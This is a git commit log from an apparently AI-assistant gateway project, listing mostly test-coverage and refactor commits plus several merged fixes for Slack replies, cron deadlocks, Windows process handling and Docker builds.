d3f46fa7fa test: share session transcript store setup 2026-03-13 21:40:53 +00:00
Peter Steinberger
eca22c0cc7 test: share bluebubbles attachment fixtures 2026-03-13 21:40:53 +00:00
Peter Steinberger
89e0e80db3 test: share bluebubbles removal reaction helper 2026-03-13 21:40:53 +00:00
Peter Steinberger
8ddb531346 test: share discord auto presence assertions 2026-03-13 21:40:53 +00:00
Peter Steinberger
143ae5a5b0 refactor: share feishu chunked reply delivery 2026-03-13 21:40:53 +00:00
Peter Steinberger
6756e376f3 refactor: share bluebubbles response and tapback helpers 2026-03-13 21:40:53 +00:00
Peter Steinberger
867dc6a185 test: share twitch send success mocks 2026-03-13 21:40:53 +00:00
Peter Steinberger
a8508f2b31 test: share voice webhook reaper harness 2026-03-13 21:40:53 +00:00
Peter Steinberger
534e4b1418 refactor: share synology chat raw config fields 2026-03-13 21:40:52 +00:00
Peter Steinberger
1cea43d349 test: share zalouser group policy resolver 2026-03-13 21:40:52 +00:00
Peter Steinberger
6d0e4c76ac refactor: share cron model formatting assertions 2026-03-13 21:40:52 +00:00
Peter Steinberger
0836bf844b refactor: share global update test harness 2026-03-13 21:40:52 +00:00
Peter Steinberger
cdde51c608 test: tighten shared text chunking coverage 2026-03-13 21:40:01 +00:00
Peter Steinberger
56299effe9 test: tighten shared metadata and node resolve coverage 2026-03-13 21:39:11 +00:00
Peter Steinberger
4ecdd7907a test: tighten shared auth and identity coverage 2026-03-13 21:38:28 +00:00
Peter Steinberger
4fd8b98b10 test: tighten shared message and ipv4 coverage 2026-03-13 21:37:48 +00:00
Peter Steinberger
80569babd3 test: tighten shared chat envelope coverage 2026-03-13 21:37:10 +00:00
Peter Steinberger
fe55622205 test: tighten shared process map and model coverage 2026-03-13 21:36:32 +00:00
Peter Steinberger
2f82ade66f test: tighten assistant scaffolding coverage 2026-03-13 21:35:31 +00:00
Peter Steinberger
3a59d40109 test: tighten shared pid and node parsing coverage 2026-03-13 21:30:35 +00:00
Peter Steinberger
783d320547 test: tighten shared requirements coverage 2026-03-13 21:29:07 +00:00
Peter Steinberger
330631a0eb test: tighten shared config eval coverage 2026-03-13 21:28:17 +00:00
Peter Steinberger
5a9d3abc10 test: tighten shared ip helper coverage 2026-03-13 21:27:15 +00:00
Vincent Koc
e56e0cc913 Fix updater refresh cwd for service reinstall (#45452)
* Fix updater refresh cwd for service reinstall

* Update: preserve relative env overrides during service refresh

* Test: cover updater service refresh env rebasing
2026-03-13 17:27:12 -04:00
Peter Steinberger
090c0c4b5d test: tighten shared text normalization coverage 2026-03-13 21:26:15 +00:00
Peter Steinberger
0c79c86b40 test: tighten shared singleton and sample coverage 2026-03-13 21:25:20 +00:00
Peter Steinberger
42ccee658d test: tighten shared avatar and scope coverage 2026-03-13 21:24:38 +00:00
Peter Steinberger
e8addf2ac2 test: add message action spec coverage 2026-03-13 21:23:10 +00:00
Peter Steinberger
256c91ca6d test: tighten message action normalization coverage 2026-03-13 21:22:15 +00:00
Peter Steinberger
651ccf9901 test: tighten channel selection coverage 2026-03-13 21:20:26 +00:00
Vincent Koc
28b0d8e8bd fix(cron): prevent isolated cron nested lane deadlocks (#45459)
* fix(cron): resolve isolated session deadlock (#44805)

Map cron lane to nested in resolveGlobalLane to prevent deadlock when
isolated cron jobs trigger inner operations (e.g. compaction). Outer
execution holds the cron lane slot; inner work now uses nested lane.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* docs(changelog): add cron isolated deadlock note

---------

Co-authored-by: zhujian <zhujianxyz@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-13 14:19:40 -07:00
Peter Steinberger
3e6c8376fb test: tighten outbound send service coverage 2026-03-13 21:19:15 +00:00
Peter Steinberger
d062252522 test: dedupe exec approvals analysis coverage 2026-03-13 21:18:13 +00:00
Vincent Koc
8c7bdbe4d1 Docs: describe Slack interactive replies (#45463) 2026-03-13 17:16:14 -04:00
Peter Steinberger
c2a9c5699d test: extract outbound delivery lifecycle coverage 2026-03-13 21:13:52 +00:00
Peter Steinberger
c355b8a671 test: extract message action context coverage 2026-03-13 21:10:37 +00:00
Peter Steinberger
9c08312121 test: add message action poll validation coverage 2026-03-13 21:08:34 +00:00
Vincent Koc
a976cc2e95 Slack: add opt-in interactive reply directives (#44607)
* Reply: add Slack interactive directive parser

* Reply: wire Slack directives into normalization

* Reply: cover Slack directive parsing

* Reply: test Slack directive normalization

* Slack: hint interactive reply directives

* Config: add Slack interactive reply capability type

* Config: validate Slack interactive reply capability

* Reply: gate Slack directives behind capability

* Slack: gate interactive reply hints by capability

* Tests: cover Slack interactive reply capability gating

* Changelog: note opt-in Slack interactive replies

* Slack: fix interactive reply review findings

* Slack: harden interactive reply routing and limits

* Slack: harden interactive reply trust and validation
2026-03-13 14:08:04 -07:00
Peter Steinberger
1f4b8c4eea test: extract message action media coverage 2026-03-13 21:06:40 +00:00
MoerAI
9da06d918f fix(windows): add windowsHide to detached spawn calls to suppress console windows (#44693)
The restart helper and taskkill spawn calls were missing windowsHide: true,
causing visible command prompt windows to flash on screen during gateway
restart and process cleanup on Windows.
2026-03-13 21:06:33 +00:00
Peter Steinberger
9044a10c5f test: extract message action plugin dispatch coverage 2026-03-13 21:04:08 +00:00
Peter Steinberger
a9fd34058f test: fix daemon status env typing 2026-03-13 21:02:19 +00:00
Peter Steinberger
b84c7037de fix: repair ci audit and type drift 2026-03-13 21:02:19 +00:00
Peter Steinberger
cfc9a21957 test: extract exec approvals shell analysis coverage 2026-03-13 21:01:35 +00:00
Peter Steinberger
4d686b47f0 fix: bind macOS skill trust to resolved paths 2026-03-13 21:00:59 +00:00
Peter Steinberger
fc140bb02b test: extract outbound delivery queue coverage 2026-03-13 20:58:52 +00:00
Vincent Koc
ffee3dfef0 Plugins: resolve local openclaw peer for audits 2026-03-13 13:55:28 -07:00
Peter Steinberger
d537904abb test: extract outbound session route coverage 2026-03-13 20:54:41 +00:00
Peter Steinberger
6b49a604b4 fix: harden macos shell continuation parsing 2026-03-13 20:54:10 +00:00
Peter Steinberger
cd72fa6e77 test: extract outbound policy coverage 2026-03-13 20:51:52 +00:00
Peter Steinberger
9747da8682 fix: honor gateway command env in status reads 2026-03-13 20:50:48 +00:00
Peter Steinberger
377b42c92b test: extract outbound payload coverage 2026-03-13 20:50:31 +00:00
Peter Steinberger
e1fedd4388 fix: harden macos env wrapper resolution 2026-03-13 20:49:17 +00:00
Peter Steinberger
0643c0d15a test: extract outbound format and cache coverage 2026-03-13 20:47:29 +00:00
Peter Steinberger
bde038527c test: extract exec approvals policy coverage 2026-03-13 20:43:54 +00:00
Peter Steinberger
8b05cd4074 test: add exec approvals store helper coverage 2026-03-13 20:43:08 +00:00
Peter Steinberger
5f0e97b22a test: extract exec approval session target coverage 2026-03-13 20:40:19 +00:00
Peter Steinberger
8dcee1f6b2 test: fix fresh infra type drift 2026-03-13 20:38:24 +00:00
Peter Steinberger
75c7c169e1 test: re-enable Node 24 vmForks fast lane 2026-03-13 20:38:24 +00:00
Peter Steinberger
5c07207dd1 ci: trim PR critical path 2026-03-13 20:38:24 +00:00
Peter Steinberger
8c21284c1c refactor: share stale pid polling fixtures 2026-03-13 20:37:54 +00:00
Peter Steinberger
bf631b5872 refactor: share voice restore test setup 2026-03-13 20:37:53 +00:00
Peter Steinberger
eec1b3a512 refactor: share system run deny cases 2026-03-13 20:37:53 +00:00
Peter Steinberger
9dafcd417d refactor: share cron restart catchup harness 2026-03-13 20:37:53 +00:00
Peter Steinberger
e762a57d62 refactor: share secrets audit model fixtures 2026-03-13 20:37:53 +00:00
Peter Steinberger
ec31948bcc refactor: share gemini embedding test setup 2026-03-13 20:37:53 +00:00
Peter Steinberger
ba2d57d024 refactor: share mattermost test harnesses 2026-03-13 20:37:53 +00:00
Peter Steinberger
48853f875b refactor: share test request helpers 2026-03-13 20:37:53 +00:00
Peter Steinberger
28a49aaa34 fix: harden powershell wrapper detection 2026-03-13 20:37:38 +00:00
Peter Steinberger
e2fa47f5f2 fix: tighten exec approval reply coverage 2026-03-13 20:37:21 +00:00
Peter Steinberger
f568bd23d8 test: extract exec allowlist matching coverage 2026-03-13 20:34:25 +00:00
Peter Steinberger
3957f29e2f test: extract exec command resolution coverage 2026-03-13 20:33:18 +00:00
Peter Steinberger
fca6b57037 test: add gateway process helper coverage 2026-03-13 20:31:20 +00:00
Peter Steinberger
7fe5cd26b5 test: add entry status and ipv4 helper coverage 2026-03-13 20:29:40 +00:00
Peter Steinberger
b7afc7bf40 fix: harden external content marker sanitization 2026-03-13 20:28:45 +00:00
Peter Steinberger
9666188da8 test: add shared chat helper coverage 2026-03-13 20:28:22 +00:00
Peter Steinberger
d291148e93 test: add shared node and usage helper coverage 2026-03-13 20:26:22 +00:00
Peter Steinberger
2192bb7eb5 test: add shared text and identity helper coverage 2026-03-13 20:24:35 +00:00
Peter Steinberger
8dd454530d test: add frontmatter and node match coverage 2026-03-13 20:23:26 +00:00
Peter Steinberger
341d3e3493 test: add shared helper coverage 2026-03-13 20:21:43 +00:00
Peter Steinberger
35cf3d0ce5 test: add device auth store coverage 2026-03-13 20:20:27 +00:00
Peter Steinberger
e7fb2fea5c build: ignore generated docs and changelogs in jscpd 2026-03-13 20:19:39 +00:00
Peter Steinberger
784020f71e docs: trim duplicated plugin and open prose guides 2026-03-13 20:19:39 +00:00
Peter Steinberger
1ea97fddd7 docs: share docker vm runtime guidance 2026-03-13 20:19:39 +00:00
Peter Steinberger
5225667e25 docs: trim duplicated wizard and gateway api examples 2026-03-13 20:19:39 +00:00
Peter Steinberger
fff514c7f2 refactor: share cron and ollama test helpers 2026-03-13 20:19:39 +00:00
Peter Steinberger
8473a29da7 refactor: share exec approval session target routing 2026-03-13 20:19:39 +00:00
Peter Steinberger
c74e5210f6 refactor: share embedded runner e2e fixtures 2026-03-13 20:19:39 +00:00
Peter Steinberger
92dbb59b79 refactor: share stream payload patch helper 2026-03-13 20:19:39 +00:00
Peter Steinberger
e08dc6f0af refactor: share onboard provider merge helpers 2026-03-13 20:19:39 +00:00
Peter Steinberger
7d69579634 refactor: share windows daemon test fixtures 2026-03-13 20:19:39 +00:00
Peter Steinberger
4e05357c45 refactor: share backup coverage assertions 2026-03-13 20:19:39 +00:00
Peter Steinberger
95818a7c32 refactor: share embedding batch retry helper 2026-03-13 20:19:39 +00:00
Peter Steinberger
1a5a3fecf3 refactor: share ollama setup test helpers 2026-03-13 20:19:39 +00:00
Peter Steinberger
d53d4dc22f refactor: share zalouser group gating helpers 2026-03-13 20:19:39 +00:00
Peter Steinberger
ea82458290 refactor: share launchd bootstrap assertions 2026-03-13 20:19:39 +00:00
Peter Steinberger
806e3c12dc refactor: share doctor state migration helpers 2026-03-13 20:19:39 +00:00
Peter Steinberger
420b0672e4 refactor: share allow-always test helpers 2026-03-13 20:19:39 +00:00
Peter Steinberger
2dd180472f refactor: share mattermost interaction test helpers 2026-03-13 20:19:39 +00:00
Peter Steinberger
e731974da1 refactor: share approval id test helpers 2026-03-13 20:19:39 +00:00
Peter Steinberger
df2bda63c6 refactor: share compact hook success harness 2026-03-13 20:19:39 +00:00
Peter Steinberger
e6a26e82ca refactor: share memory ssrf test helper 2026-03-13 20:19:39 +00:00
Peter Steinberger
d904f37f1c refactor: share embedding retry waits 2026-03-13 20:19:39 +00:00
Peter Steinberger
da1ec45505 refactor: share plugin temp dir helpers 2026-03-13 20:19:39 +00:00
Peter Steinberger
5a255809b9 refactor: share backup invalid config fixture 2026-03-13 20:19:39 +00:00
Peter Steinberger
5cc751386d refactor: share web secret unresolved helpers 2026-03-13 20:19:39 +00:00
Peter Steinberger
855748a1a2 refactor: share secret fallback diagnostics 2026-03-13 20:19:39 +00:00
Peter Steinberger
cba07a400a refactor: share launchd bootstrap ordering assertions 2026-03-13 20:19:39 +00:00
Peter Steinberger
feba7ea8fd refactor: share shared auth scope assertion 2026-03-13 20:19:39 +00:00
Peter Steinberger
3a21f8b1e3 refactor: share discord proxy fetch failure helper 2026-03-13 20:19:39 +00:00
Peter Steinberger
1fe261f92f refactor: share chat abort auth invocation 2026-03-13 20:19:39 +00:00
Peter Steinberger
f201bad372 refactor: share telegram dispatch failure harness 2026-03-13 20:19:39 +00:00
Peter Steinberger
2cd1a4b8dd refactor: share telegram named account dm fixtures 2026-03-13 20:19:39 +00:00
Peter Steinberger
c61f3f4ede refactor: share logging console spies 2026-03-13 20:19:39 +00:00
Peter Steinberger
0625547800 refactor: share approval unavailable fixtures 2026-03-13 20:19:38 +00:00
Peter Steinberger
ad52724d9a refactor: share fallback skip assertions 2026-03-13 20:19:38 +00:00
Peter Steinberger
0652b885df refactor: share gemini preview model fixtures 2026-03-13 20:19:38 +00:00
Peter Steinberger
14c052a256 refactor: share host env git exploit helpers 2026-03-13 20:19:38 +00:00
Peter Steinberger
95ed44ce71 refactor: share memory watcher test setup 2026-03-13 20:19:38 +00:00
Peter Steinberger
5067d06f55 refactor: share session status sandbox helpers 2026-03-13 20:19:38 +00:00
Peter Steinberger
ae7121d534 refactor: share memory concurrency config 2026-03-13 20:19:38 +00:00
Peter Steinberger
a5f0f66427 refactor: share zalouser group auth setup 2026-03-13 20:19:38 +00:00
Peter Steinberger
44e1c6cc21 refactor: share exec approval script fixtures 2026-03-13 20:19:38 +00:00
Peter Steinberger
8ddaca1763 refactor: share migration and tts test helpers 2026-03-13 20:19:38 +00:00
Peter Steinberger
fd656ed3b0 refactor: share ollama setup prompts 2026-03-13 20:19:38 +00:00
Peter Steinberger
94e748086c refactor: share auth overview and fetch test helpers 2026-03-13 20:19:38 +00:00
Peter Steinberger
985be2a864 refactor: share acpx ensure install checks 2026-03-13 20:19:38 +00:00
Peter Steinberger
4ec0fcf1b6 refactor: share plugin test fixtures 2026-03-13 20:19:38 +00:00
Peter Steinberger
5f34391f75 refactor: share gateway client auth retry helpers 2026-03-13 20:19:38 +00:00
Peter Steinberger
60dc46ad10 refactor: share telegram native command auth harness 2026-03-13 20:19:38 +00:00
Peter Steinberger
b1b6c7a982 refactor: share models config envvar fixtures 2026-03-13 20:19:38 +00:00
Peter Steinberger
9780e999e9 refactor: share lane delivery test flows 2026-03-13 20:19:38 +00:00
Peter Steinberger
44cd3674dd refactor: share ollama stream test assertions 2026-03-13 20:19:38 +00:00
Peter Steinberger
07e5fc19bd refactor: share system run plan test fixtures 2026-03-13 20:19:38 +00:00
Peter Steinberger
c2096897bb refactor: share backup verify fixtures 2026-03-13 20:19:38 +00:00
Peter Steinberger
d2a36d0a98 refactor: share small test harness helpers 2026-03-13 20:19:38 +00:00
Peter Steinberger
f95c09b6f2 test: add diagnostic and port format helper coverage 2026-03-13 20:18:50 +00:00
Peter Steinberger
1a319b7847 test: add dedupe and boundary file helper coverage 2026-03-13 20:16:57 +00:00
Peter Steinberger
fdbfdec341 test: add channel resolution helper coverage 2026-03-13 20:13:53 +00:00
Peter Steinberger
c3fadff0ce test: add socket and ssh helper coverage 2026-03-13 20:12:04 +00:00
Peter Steinberger
dbef3dfef0 docs(voice-call): clarify allowlist caller ID limits 2026-03-13 20:11:42 +00:00
Peter Steinberger
593964560b feat(browser): add chrome MCP existing-session support 2026-03-13 20:10:08 +00:00
Peter Steinberger
9c52e1b7de test: add machine and adapter helper coverage 2026-03-13 20:09:49 +00:00
Peter Steinberger
146cba46ca test: add target normalization helper coverage 2026-03-13 20:06:14 +00:00
Peter Steinberger
bf6da81028 test: dedupe is-main and shell coverage 2026-03-13 20:04:35 +00:00
Peter Steinberger
7771444725 test: dedupe outbound envelope coverage 2026-03-13 20:03:09 +00:00
Peter Steinberger
ddfa6e66c8 test: dedupe voicewake and target helper coverage 2026-03-13 20:00:43 +00:00
Peter Steinberger
6d159a45a8 test: add outbound and hardlink helper coverage 2026-03-13 19:59:11 +00:00
Peter Steinberger
7c95a25df7 test: add exec helper coverage 2026-03-13 19:57:49 +00:00
Peter Steinberger
7c58de294e test: dedupe activity and diagnostic coverage 2026-03-13 19:56:04 +00:00
Peter Steinberger
1fefd4e67f test: add install and pairing helper coverage 2026-03-13 19:54:16 +00:00
Peter Steinberger
60d308cff0 test: fix CI type regressions 2026-03-13 19:53:40 +00:00
Peter Steinberger
d17490ff54 ci: speed up scoped workflow lanes 2026-03-13 19:53:40 +00:00
Peter Steinberger
a423b1d936 test: add direct infra helper coverage 2026-03-13 19:51:59 +00:00
Peter Steinberger
3e77263b4c docs: tighten parallels macos retest notes 2026-03-13 19:51:05 +00:00
Peter Steinberger
c84c76ee66 test: add clipboard and package helper coverage 2026-03-13 19:50:27 +00:00
Peter Steinberger
ba9fb4d994 fix: persist auth profile env refs for daemon install 2026-03-13 19:50:13 +00:00
Peter Steinberger
549cb65ba4 test: add executable path and backup summary coverage 2026-03-13 19:48:06 +00:00
Peter Steinberger
c351b49aed test: add package manager and deps status coverage 2026-03-13 19:46:52 +00:00
Peter Steinberger
b8a2b1b5cc test: expand npm install and update check coverage 2026-03-13 19:45:37 +00:00
Peter Steinberger
cda4e904cd test: tighten runtime status and usage formatting coverage 2026-03-13 19:44:09 +00:00
Peter Steinberger
413c8d189c test: add update global and migration fs coverage 2026-03-13 19:42:47 +00:00
Peter Steinberger
0386dcb63f test: add small infra helper coverage 2026-03-13 19:39:07 +00:00
Peter Steinberger
12cbaddade test: expand runtime guard and path prepend coverage 2026-03-13 19:37:49 +00:00
Peter Steinberger
eb32f42b53 test: harden restart sentinel and host env coverage 2026-03-13 19:36:49 +00:00
Peter Steinberger
a9b5fe4099 test: tighten system event and lsof helper coverage 2026-03-13 19:35:27 +00:00
Peter Steinberger
bb84e5e82e test: add tailnet and os summary helper coverage 2026-03-13 19:34:10 +00:00
Peter Steinberger
cda9eacada test: add json file and canvas host helper coverage 2026-03-13 19:32:59 +00:00
Peter Steinberger
7817eb0117 test: add gemini auth and pairing helper coverage 2026-03-13 19:31:59 +00:00
Peter Steinberger
3442acbae1 test: add normalization and backoff helper coverage 2026-03-13 19:30:46 +00:00
Peter Steinberger
cab2f891e7 test: tighten port and map helper coverage 2026-03-13 19:30:06 +00:00
Peter Steinberger
d2bebfb253 test: add direct error helper coverage 2026-03-13 19:28:43 +00:00
Peter Steinberger
47b0ee36ff test: expand message action helper coverage 2026-03-13 19:27:04 +00:00
Peter Steinberger
4a6020c574 test: tighten numeric parsing and path safety coverage 2026-03-13 19:24:22 +00:00
Peter Steinberger
cf43951abc test: tighten claude usage fallback coverage 2026-03-13 19:23:25 +00:00
Peter Steinberger
348f8e8f28 test: tighten codex usage coverage 2026-03-13 19:22:21 +00:00
Peter Steinberger
0ece3834f8 test: expand approval binding helper coverage 2026-03-13 19:21:17 +00:00
Peter Steinberger
03d076283c test: tighten small helper edge coverage 2026-03-13 19:18:45 +00:00
Peter Steinberger
4f78d8542d test: tighten secure token and system mark coverage 2026-03-13 19:17:24 +00:00
Peter Steinberger
9270c03665 test: expand state dir identity coverage 2026-03-13 19:16:38 +00:00
Peter Steinberger
54728c60d5 fix: harden zai and ssh helper coverage 2026-03-13 19:15:25 +00:00
Peter Steinberger
da2f85ae2b test: tighten copilot and shared usage coverage 2026-03-13 19:13:51 +00:00
Peter Steinberger
09fd72bc5b test: expand approval context and gemini usage coverage 2026-03-13 19:13:01 +00:00
Peter Steinberger
dfcbfcfcc9 test: tighten proxy env and conversation id coverage 2026-03-13 19:11:10 +00:00
Peter Steinberger
5189ba851c fix: stop windows startup fallback gateways 2026-03-13 19:10:57 +00:00
Peter Steinberger
5024fd0908 test: expand dns zone and runner coverage 2026-03-13 19:10:11 +00:00
Peter Steinberger
f155d8febc fix: harden format time fallback handling 2026-03-13 19:08:26 +00:00
Peter Steinberger
b4a3e5324b test: expand exec wrapper helper coverage 2026-03-13 19:06:22 +00:00
Peter Steinberger
e6213b2fc7 test: tighten fetch helper and package root coverage 2026-03-13 19:04:41 +00:00
Peter Steinberger
6bbf2d486c test: expand presence and maintenance warning coverage 2026-03-13 19:03:01 +00:00
AstroHan
96c48f5566 fix(ui): restore chat-new-messages class on scroll pill button (#44856)
Merged via squash.

Prepared head SHA: 621ef634a4
Co-authored-by: Astro-Han <255364436+Astro-Han@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-13 22:03:00 +03:00
Peter Steinberger
e928f55537 test: tighten warning and npm integrity coverage 2026-03-13 19:01:16 +00:00
Peter Steinberger
2622b05c0b test: tighten plugin install path warning coverage 2026-03-13 18:58:53 +00:00
Peter Steinberger
0f48556241 test: expand install safe path coverage 2026-03-13 18:58:22 +00:00
Peter Steinberger
6a545c04eb test: clarify system presence version precedence 2026-03-13 18:56:54 +00:00
Peter Steinberger
e895d4d1a8 test: tighten shared fetch helper coverage 2026-03-13 18:56:37 +00:00
Peter Steinberger
3e9243817e test: harden secret file helper coverage 2026-03-13 18:54:43 +00:00
Peter Steinberger
d4d7174773 test: expand npm registry spec coverage 2026-03-13 18:54:21 +00:00
Peter Steinberger
cf39c03801 test: tighten git root helper coverage 2026-03-13 18:53:02 +00:00
Peter Steinberger
30dbd1a598 test: tighten shared usage helper coverage 2026-03-13 18:52:52 +00:00
0xffee
5ba1bfdb7b refactor: remove redundant ?? undefined in Slack probe (#44775)
Merged via squash.

Prepared head SHA: ecc73fe47c
Co-authored-by: Cafexss <13113185+Cafexss@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-13 21:52:15 +03:00
Peter Steinberger
9e28f5aac2 test: tighten abort signal coverage 2026-03-13 18:51:21 +00:00
Peter Steinberger
690f7bba97 test: expand env helper coverage 2026-03-13 18:51:02 +00:00
Peter Steinberger
5dd9389c25 test: tighten fixed window limiter coverage 2026-03-13 18:49:41 +00:00
Peter Steinberger
8f86cb92ac test: harden device identity state dir coverage 2026-03-13 18:49:21 +00:00
Peter Steinberger
ec2663ee5d test: simplify heartbeat reason coverage 2026-03-13 18:48:12 +00:00
Peter Steinberger
a6b4294bfd test: expand remote skill eligibility coverage 2026-03-13 18:48:03 +00:00
Peter Steinberger
6cb8729952 fix: harden windows gateway stop cleanup 2026-03-13 18:47:35 +00:00
Peter Steinberger
51fe0bf663 test: tighten secure random coverage 2026-03-13 18:46:31 +00:00
Peter Steinberger
0db1c31103 test: tighten install mode and allowlist coverage 2026-03-13 18:46:11 +00:00
xingsy97
1bf56e711a fix(docker): exclude .env from Docker build context (#44956) 2026-03-13 11:42:11 -07:00
Peter Steinberger
897910ea4f test: expand wide-area dns helper coverage 2026-03-13 18:38:36 +00:00
Peter Steinberger
7eeefb3813 test: harden safe open coverage 2026-03-13 18:38:21 +00:00
Peter Steinberger
389de66b25 refactor: share browser auth test helpers 2026-03-13 18:38:12 +00:00
Peter Steinberger
03c2814124 refactor: share line webhook test helpers 2026-03-13 18:38:12 +00:00
Peter Steinberger
565dc0d17b refactor: share exec approval registration context 2026-03-13 18:38:12 +00:00
Peter Steinberger
e003038261 refactor: share agent snapshot and scope test fixtures 2026-03-13 18:38:12 +00:00
Peter Steinberger
05a1b0c3ae refactor: share telegram network test helpers 2026-03-13 18:38:12 +00:00
Peter Steinberger
41c9e3ead0 refactor: share cron and zalo monitor test helpers 2026-03-13 18:38:12 +00:00
Peter Steinberger
99b274592d refactor: share doctor cron store fixtures 2026-03-13 18:38:12 +00:00
Peter Steinberger
a3ece09d19 refactor: share control ui hardlink asset setup 2026-03-13 18:38:12 +00:00
Peter Steinberger
6a1ba52ad5 refactor: share gateway probe auth warnings 2026-03-13 18:38:12 +00:00
Peter Steinberger
07dacec904 refactor: share embedded attempt test harness 2026-03-13 18:38:12 +00:00
Peter Steinberger
6cc86ad211 refactor: share gateway credential secretref assertions 2026-03-13 18:38:12 +00:00
Peter Steinberger
2f58647033 refactor: share plugin route auth test harness 2026-03-13 18:38:12 +00:00
Peter Steinberger
7cb6553ce8 fix: pass injected config to session tools 2026-03-13 18:38:12 +00:00
Peter Steinberger
198c2482ee refactor: share gateway session store migration 2026-03-13 18:38:12 +00:00
Peter Steinberger
6464149031 refactor: share feishu webhook monitor harness 2026-03-13 18:38:12 +00:00
Peter Steinberger
88b87d893d refactor: share temp dir test helper 2026-03-13 18:38:12 +00:00
Peter Steinberger
b5349f7563 refactor: share startup auth token assertions 2026-03-13 18:38:12 +00:00
Peter Steinberger
8633d2e0a9 refactor: share system presence version checks 2026-03-13 18:38:12 +00:00
Peter Steinberger
b697c05354 refactor: share discord allowlist name matching 2026-03-13 18:38:12 +00:00
Peter Steinberger
3bf3ebf514 refactor: share exec approval dm route checks 2026-03-13 18:38:12 +00:00
Peter Steinberger
31c8bb9167 refactor: share agent wait dedupe test entries 2026-03-13 18:38:12 +00:00
Peter Steinberger
db9c755045 refactor: share readiness test harness 2026-03-13 18:38:11 +00:00
Peter Steinberger
06bdfc403e refactor: share system run command resolution 2026-03-13 18:38:11 +00:00
Keelan Fadden-Hopper
fc408bba37 Fix incorrect rendering of brave costs in docs (#44989)
Merged via squash.

Prepared head SHA: 8c69de8222
Co-authored-by: keelanfh <19519457+keelanfh@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-13 21:37:39 +03:00
Peter Steinberger
5b63f6486f docs: note preferred fresh parallels macos snapshot 2026-03-13 18:37:00 +00:00
Peter Steinberger
0bf930bdc7 test: harden agent event bus coverage 2026-03-13 18:36:23 +00:00
Peter Steinberger
6a9285d1f5 test: tighten byte count and file identity coverage 2026-03-13 18:35:55 +00:00
Peter Steinberger
54998a1042 test: expand exec wrapper helper coverage 2026-03-13 18:34:42 +00:00
Peter Steinberger
c1b3a49320 test: expand heartbeat event filter coverage 2026-03-13 18:34:13 +00:00
Peter Steinberger
5ea03efe92 fix: harden windows gateway lifecycle 2026-03-13 18:33:59 +00:00
Peter Steinberger
84a2a289e6 test: tighten scp host coverage 2026-03-13 18:32:45 +00:00
Peter Steinberger
9c343fb3db test: tighten small infra helper coverage 2026-03-13 18:31:59 +00:00
Peter Steinberger
8cef6f2120 test: tighten cli root option coverage 2026-03-13 18:30:36 +00:00
Peter Steinberger
f0a266cb86 test: expand archive path helper coverage 2026-03-13 18:29:56 +00:00
Peter Steinberger
bc9a9cf972 test: expand update channel helper coverage 2026-03-13 18:29:09 +00:00
Peter Steinberger
cc3846d1b5 test: simplify numeric parsing coverage 2026-03-13 18:28:05 +00:00
Peter Steinberger
f5ab0c1d32 test: tighten retry helper coverage 2026-03-13 18:26:42 +00:00
Vincent Koc
cc5168b5c3 Fix plugin update dependency failures and dedupe warnings 2026-03-13 11:26:14 -07:00
Peter Steinberger
1d300c416d test: simplify home dir coverage 2026-03-13 18:25:54 +00:00
Peter Steinberger
fbc06f1926 test: simplify tailscale helper coverage 2026-03-13 18:24:02 +00:00
Peter Steinberger
e1b9250dea test: simplify method scope coverage 2026-03-13 18:21:48 +00:00
Peter Steinberger
5aa79f1ba4 test: harden guarded fetch redirect coverage 2026-03-13 18:21:02 +00:00
Peter Steinberger
f3d4bb4103 test: simplify ssrf hostname coverage 2026-03-13 18:20:08 +00:00
Peter Steinberger
3e8d9bc6ea test: refine telegram token coverage 2026-03-13 18:19:27 +00:00
Peter Steinberger
431463dec2 test: simplify config patch validation coverage 2026-03-13 18:15:30 +00:00
Peter Steinberger
584e3c2916 test: refine http body limit coverage 2026-03-13 18:13:39 +00:00
Peter Steinberger
29b9e21b7b test: simplify auth rate limit coverage 2026-03-13 18:12:24 +00:00
Peter Steinberger
2920d61f18 test: tighten minimax usage coverage 2026-03-13 18:10:40 +00:00
Peter Steinberger
4ed3b62f01 test: refine telegram network and install source coverage 2026-03-13 18:08:48 +00:00
Peter Steinberger
bec76be592 test: simplify talk config and path env coverage 2026-03-13 18:06:53 +00:00
Peter Steinberger
8f4e77e72f test: tighten channel auth and network coverage 2026-03-13 18:06:39 +00:00
Peter Steinberger
572df97179 test: simplify provider auth normalization coverage 2026-03-13 18:05:46 +00:00
Peter Steinberger
91d4f5cd2f test: simplify control ui http coverage 2026-03-13 18:03:35 +00:00
Frank Yang
987c254eea test: annotate chat abort helper exports (#45346) 2026-03-14 02:03:14 +08:00
Peter Steinberger
1f85c9af68 test: simplify runtime config coverage 2026-03-13 18:00:03 +00:00
Peter Steinberger
e25fa446e8 test: refine gateway auth helper coverage 2026-03-13 17:58:28 +00:00
Peter Steinberger
91f1894372 test: tighten server method helper coverage 2026-03-13 17:57:05 +00:00
Peter Steinberger
981062a94e test: simplify outbound channel coverage 2026-03-13 17:55:55 +00:00
Peter Steinberger
a68caaf719 test: dedupe infra runtime and heartbeat coverage 2026-03-13 17:54:38 +00:00
Peter Steinberger
118abfbdb7 test: simplify trusted proxy coverage 2026-03-13 17:52:49 +00:00
Peter Steinberger
87c447ed46 test: tighten failover classifier coverage 2026-03-13 17:51:36 +00:00
Peter Steinberger
f5b006f6a1 test: simplify model ref normalization coverage 2026-03-13 17:49:32 +00:00
Peter Steinberger
2d32cf2839 test: harden infra formatter and retry coverage 2026-03-13 17:47:47 +00:00
Peter Steinberger
4aec20d365 test: tighten gateway helper coverage 2026-03-13 17:45:21 +00:00
Peter Steinberger
9b5000057e ci: remove Android Node 20 action warnings 2026-03-13 17:41:58 +00:00
Frank Yang
7778627b71 fix(ollama): hide native reasoning-only output (#45330) Thanks @xi7ang
Co-authored-by: xi7ang <266449609+xi7ang@users.noreply.github.com>
Co-authored-by: Frank Yang <vibespecs@gmail.com>
2026-03-14 01:38:06 +08:00
Peter Steinberger
ee1d4eb29d test: align chat abort helpers with gateway handler types 2026-03-13 17:33:03 +00:00
Peter Steinberger
644fb76960 refactor: share node pending test client 2026-03-13 17:29:59 +00:00
Peter Steinberger
